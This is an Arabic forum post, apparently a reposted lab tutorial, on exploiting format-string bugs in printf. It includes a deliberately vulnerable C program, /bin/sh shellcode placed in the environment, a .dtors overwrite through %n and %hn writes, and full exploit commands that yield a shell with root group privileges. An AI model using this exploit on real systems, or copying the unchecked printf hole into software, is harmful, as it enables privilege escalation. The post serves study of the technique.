ثغرات الــــ format string

ثغرات المواقع والسيرفرات وكيفية استغلالها وشروحات مع تطبيقات عملية على استغلال الثغرات وتطبيقها


إضافة رد
قديم 09-28-2012
  #1
loup8
صــقــر مـــاســي
 الصورة الرمزية loup8
 
تاريخ التسجيل: Aug 2009
الدولة: C:\WINDOWS\system32
المشاركات: 948
شكراً: 65
تم شكره 54 مرة في 38 مشاركة
افتراضي ثغرات الــــ format string









السلام عليكم ورحمة الله

كيفكم شباب ؟ ان شاء الله تمام

معي اليوم شرح جميل لثغرات الــــ format string

و هو شرح منــــقول من الاخ dr.death جـــزاه الله

الف خيـــر

ماراح اطول عليكم اترككم مع الشرح


_ــــــ_


بتكلم اليوم عن ثغرات

formstring at

وطريقه استغلالها بشكل متطور

ثغرات الفورمات سترينق تكون في دوال

printf

printf, fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf, vsnprintf

وهي عباره عن غلطات او هفوات المبرمجين ,


المستخدم في داله

string

عند استخدامهم لهذي الدوال من غير

تعريف ال

بالفورمات باراميتر printf


هناك انواع كثيره من الفورمات باراميترز مثل:

unsigned hexadecimal للقرائه من الميموري بصيغة x%

decimal للقرائه من الميموري بصيغة d%

unsigned decimal للقرائه من الميموري بصيغة %u

سترينق %s

للكتابه على الميموري n%

لكتابة 16 بت على الميموري بدلا من 32 بت hn%

الي بيهمنا هو القرائه والكتابه على الميموري.

نجيب كود مضروب ونشرح عليه احسن


#include <%stdio.h>

#include <%string.h%>



int main(int argc, char **argv) {

char buf[1024];

strncpy(buf, argv[1], sizeof(buf) - 1);



printf(buf);



return 0;

}


استخدمت بدون تحديد الفورمات باراميتر فيها مثل ماشايفين, الداله

printf

في المدخلات نقدر نقرا بيانات من الميموري اذا استخدمنا
%x

مثلا


[[email protected] lab]$ ./vulnf "%x%x%x%x"

bfffde613f7078257825

[email protected] lab]$]




مثل ما نشوف طلعنا قيم من الميموري بصيغة الهيكس ديسمل.

الحين المطلوب منا ان نكتب الشل كود على الميموري, ونكتب عنوان

الشل كود على عنوان من عناوين مسجلات

الميموري, في موضوعنا السابق عن ثغرات فيض المكدس شرحنا

كيف نكتب عنوان الشل كود على مسجل

eip

. هذي المره بنشرح كيف نكتب عنوان الشل كود على عنوان

dtors

الي هو عباره عن مسجل خاص ياتي مع
GNU كومبايلرز

يشتغل بعد ما يبدا البرنامج بالعمل يعني بعد ما تشتغل الداله وعنوان
.dtors

وهو ينظاف على البرنامج بشكل تلقائي بعد ما تعمل له كومبايل بال,

main()

يعني لو كتبنا على عنوان ,gcc

عنوان الشل كود لنا بيشتغل الشل كود قبل ما ينهي البرنامج عمله,

حلو هذا المطلوب dtor

.اول شي بنطلع عناوين
dtors ممكن نطلعه بطريقتين

الاولى عن طريق
objdumpمثل ما تشوفون عنوان

dtor

هو08049510


[email protected] lab]$ objdump -h vulnf | grep dtor]
16 .dtors 00000008 08049510 08049510 00000510 2**2



الثانيه عن طريق nm بتشوفون عندنا عنوانين الاول بدايه


dtorو الثاني نهايته الي هو يزيد عن البدايه باربع بايتات



][email protected] lab]$ nm vulnf | grep DTOR
08049514 d __DTOR_END__
08049510 d __DTOR_LIST__




نحن نبغي نكتب على نهاية dtors يعني على 08049514

لحين بعد ما طلعنا عنوان dtors نبغي نكتب الشل كود على

الميموري ونبغي نعرف عنوانه

نكتب الشل كود على env فاللينكس, ما تهمنا الطريقه الي نكتب

فيها الشل كود على الميموري, المهم انه ينكتب وبس

بنعرف الشل كود على الاينفايرومنت باسمSHELLCODE


][email protected] lab]$ export SHELLCODE=`perl -e 'print "\x90"x50,"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`



نتاكد ان الشل كود انكتب علىenv



[[email protected] lab]$echo$SHELLCODE
������������������������� 1�Ph//shh/bin��PS�ᙰ
̀
[email protected] lab]$]




تمام امورنا طيبه, الحين نبغي نعرف عنوان الشل كود, ممكن ان

نعملها بالطريقه الكلاسيكيه عن طريق


gdb والبحث عن عناوين النوب



[[email protected] lab]$ gdb vulnf
(gdb) b *main
Breakpoint 1 at 0x80483b4
(gdb) run
Starting program: /lab/vulnf

Breakpoint 1, 0x080483b4 in main ()
(gdb) x/200x $esp
..............
...........
...........
0xbfffde5c: 0x00396c65 0x4c454853 0x444f434c 0x90903d45
0xbfffde6c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde7c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde8c: 0x90909090 0x90909090 0x90909090 0x90909090

0xbfffde9c: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e
0xbfffdeac: 0x99e18953 0x80cd0bb0 0x45485300 0x2f3d4c4c
................
..........
.....



مثل ما شايفين شغلنا البرنامج المصاب بالديباقر, وبعدين عملنا

break point في بداية البرنامج عند*main

وبعدين شغلنا البرنامج
run

وتصفحنا الميموري , وحصلنا قيم النوب والشل كود بعدها.

وخلاص بيشتغل الشل كود dtor نقدر ناخذ اي عنوان من عناوين

النوب هذي ونكتبه على عنوان

ههههههههههههه لا صبرو الموضوع بعده شويه مطول في كمن

شغله نحتاج نسويها قبل.

اوكيه هذي الطريقه الكلاسيكيه لايجاد عنوان الشل كود, نقدر بعد

نستخدم طريقه ثانيه اسهل, وهي عن طريق استخدام داله في لغه

السي اسمها getenv()

هذا البرنامج الصغير بيعطينا عنوان الشل كود مباشره


#include <%stdio.h%>

int main() {

printf("%p",getenv("SHELLCODE"));

return 0; }


[[email protected] lab]$ vi egg.c
[[email protected] lab]$ gcc egg.c -o egg
[[email protected] lab]$ ./egg
0xbfffde7a



البرنامج عطانا العنوان

0xbfffde7a

أخوي Qnix كان كاتب برنامج خاص يحتوي على عدد من الشل كودز لانطمه مختلفه

يقوم بحقن الشل كود في الانفايرومنت ويطعيك عنوانه مباشره

كود PHP:
http://www.0x80.org/code/app/envt/envt.c 



الحين حصلنا على عنوان الشل كود وعنوان ال ,اdtors

الحين نبغي نكتب

0xbfffde7a

على

0x08049514

بس اول شي بنحتاج نقسم العنوان xbfffde7a الى
32 بت وتحويله

الى ديسمل 0
علشان نقدر نكتبه بالفورمات باراميتر %n

باستخدام ASCII table بنحول قيم الهيكس الى ديسمل

http://www.asciitable.com/

او ممكن تستخدمون ادات التحويل من هيكس الى ديسمل

http://drdeath.myftp.org:881/crypt.php

bf = 191
ff = 255
de = 222
7a = 122

لحين بنقوم بعمليه حسابيه بسيطه, بنطرح كل قيمه من القيمه الي تحتها. بس اذا كانت القيمه الاولى اصغر من الثانيه بنضيف لها عدد

256

وبعدين بنقوم بالطرح الي تسمى بعملية (roll over)



قيمة bf=191 < ff=255 // نضيف لها 256 وبعدين بنطرح منها 255
191+256=447-255=192

قيمة ff=255 > de=222 // نطرح بشكل طبيعي
255-222=33

قيمة de=222 > 7a=122 // نطرح بشكل طبيعي
222-122=100

7 قيمةa=122 // أخر قيمة نطرحها دائما من 16
122-16=106



الحين هذا القيم بنكتبها على اربع عناوين من عناوين dtors

نحن عندنا العنوان

x08049514 بنزيد عليه بعد 3 عناوين بعده, يعني بيكون كالتالي 0


bf = 192 write on 0x08049517
ff = 33 write on 0x08049516
de = 100 write on 0x08049515
7a = 106 write on 0x08049514



الحين بنحتاج نعرف كم فورمات باراميتر بنحتاج علشان نوصل لعنوان المدخل الي بنكتبه


[[email protected] lab]$ ./vulnf "AAAA %x %x %x %x"
AAAA bfffde59 3ef 0 41414141



مثل ماتشوفون بعد حوالي اربع %x

وجدنا مكان مدخلنا الي هو AAAA

والي يقابله41414141

ممكن انك تروح مباشره وتستعرض قيمة الخانه الرابعه بهذا الشكل


[[email protected] lab]$ ./vulnf "AAAA"%4\$x
AAAA41414141



تمام, الحين بنعوض بدل AAAA بنكتب عناوين

dtors الاربعه الي عندنا, يعني بتنكتب عناوين الديتورز على هذي

الاماكن من الميموري


كود بلغة HTML:
%4\$x 
%5\$x 
%6\$x 
%7\$x



وبالتالي على هذي الخانات بنروح وبنكتب عنوان الشل كود لنا, الي نحنا حولناه الى صيغه ديسمل23 بت

سنقوم بكتابة قيم الديسمل التي هي في الحقيقه عنوان الشل كود داخل عناوين الديتور.

بنستخدم %x او %u و %n

الاستغلال سيكون بالشكل التالي



[[email protected] lab]$ ./vulnf `printf "\x14\x95\x04\x08\x15\x95\x04\x08\x16\x95\x04\ x08\ x17\x95\x04\x08"`%106x%4\$n%100x%5\$n%33x%6\$n%192 x%7\$n
sh-3.1$ id
uid=500(drdeath) gid=500(drdeath) groups=0(root),10(wheel),500(drdeath)
sh-3.1$



مثل ما شايفين, استخدمنا printf لكتاتب عناوين ال dtorبصيغه opcode

ا (بطريقه عكسيه وفقا لبروسيسرات ال
(little endian


وبعدها استخدمنا الفورمات سترينق %n و %x لكتابت قيم الديسمل على

الاماكن الي حددناها الي هي تبدأ من 4 الى 7

واشتغل معانا الشل وحصلنا على صلاحيات يوزر اخر الرووت حيث ان الملف

المضروب يملك صلاحيات

guid لليوزر رووت

ممكن ايضا كتابت عنوان الشل كود على الديتور بصيغة ديسمل ولكن على شكل16 بت , بدلا من 32 بت عنوان الشل كود الي هو

0xbfffde7a

بنقسمه الى قسمين فقط بدل الاربع اقسام, وبنحوله الى ديسمل , النصف الاول بنطرحه من 8 والثاني بنطرحه من الاول. نطبق ونشوف


كود بلغة HTML:
0xbfffde7a 
bfff=49151-8=49143 
de7a=56954-49151=7803



الاستغلال بيكون نفس الاستغلال الي كتبناه قبل بس بدل

%n بنستخدم %hn

لكن عناوين الديتور بتكون فقط عنوانين

الاول بيكون 0x08049514

والثاني بيكون 0x08049514+2

الي هو بيكون 0x08049516


كود بلغة HTML:
bfff=49143 write on 0x08049516 
de7a=7803 write on 0x08049514



الاستغلال بيكون بهذا الشكل



[[email protected] lab]$ ./vulnf `perl -e 'print "\x16\x95\x04\x08\x14\x95\x04\x08"'`%.49143u%4\$hn %.7803u%5\$hn
sh-3.1$ id
uid=500(drdeath) gid=500(drdeath) groups=0(root),10(wheel),500(drdeath)

sh-3.1$





مثل ماشايفين ,اكتبنا قيم 16 بت ديسمل على قيم الديتور في العنوانين

المحليين

\$hn4%

و

\$hn%5

وبدل %x استخدمنا %u تعطي نفس الناتج ما تفرق

واستخدمت

perl في الاستغلال بدل printf ماتفرق كلهم يعطون نفس النتيجه.

اتمنى ان يكون الموضوع مفيد .

تقبلو تحياتي..

مــــنــقول للامانة

سلام



__________________
اشهد ان لا اله الا الله و اشهد ان محمدا رسول الله
شهادة كتبتها على كفني بها ولدت
وعليها اموت وبها ابعث حيا



loup8 غير متواجد حالياً  
رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
[ برنامج ][محول الصوتيات] [ Format Factory 2.60 ] F34RK!N9 منتدى البرامج 2 02-04-2011 08:49 PM
درس كيفية عمل حركة رائعة ومميزة بأستخدام أداة الــــ Shape [بــريـــق آنــــثــــى] التصميم و الرسوميات 4 04-16-2010 03:20 PM
مشاركة غير مفهمومه بموضوع درس كيفية عمل حركة رائعة ومميزة بأستخدام أداة الــــ Shape adill_sawa Recycle bin 0 12-31-2009 08:54 PM
تعلم _بالصووووور_ الفورمات...format Br4v3-H4cK3r قسم Windows 12 09-11-2009 07:31 PM
Hexadecimal And Ascii And String rober لغة الدلفى - Delphi Programming Language 5 09-03-2008 05:11 PM


الساعة الآن 01:49 PM.